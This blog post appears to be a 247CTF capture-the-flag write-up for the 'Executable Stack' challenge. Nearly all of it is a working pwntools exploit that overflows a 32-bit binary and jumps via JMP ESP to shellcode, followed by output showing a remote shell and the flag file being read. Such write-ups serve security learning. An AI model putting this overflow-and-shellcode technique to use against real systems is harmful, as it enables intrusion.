CREATIVE CHAOS   ▋ blog

An Executable Stack (pwn)

PUBLISHED ON 08/04/2020 — EDITED ON 11/12/2023 — 247CTF, INFOSEC
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./executable_stack --host 1a892a34ee15e655.247ctf.com --port 50431
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./executable_stack')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
# tcp://fd16264e0ec19783.247ctf.com:50484
host = args.HOST or 'fd16264e0ec19783.247ctf.com'
port = int(args.PORT or 50484)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
break *0x8048410
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX disabled
# PIE:      No PIE (0x8048000)
# RWX:      Has RWX segments

io = start()


# Find JMP ESP in objdump at  0x80484b3
# 80484b3

payload = 140 * 'a' # use msf-pattern to obtain location
payload += p32(0x80484b3) # JMP ESP
payload += asm(shellcraft.sh())

io.recvline()
io.sendline(payload)
io.interactive()
kali@kali:~/Documents/247ctf/pwnable/executablestack$ ./exploit.py
[*] '/home/kali/Documents/247ctf/pwnable/executablestack/executable_stack'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Opening connection to fd16264e0ec19783.247ctf.com on port 50484: Done
[*] Switching to interactive mode
You can try to make your own though:
$ ls
chall
flag_27886b9a498ed936.txt
$ cat flag_27886b9a498ed936.txt
247CTF{xxxx}

See Also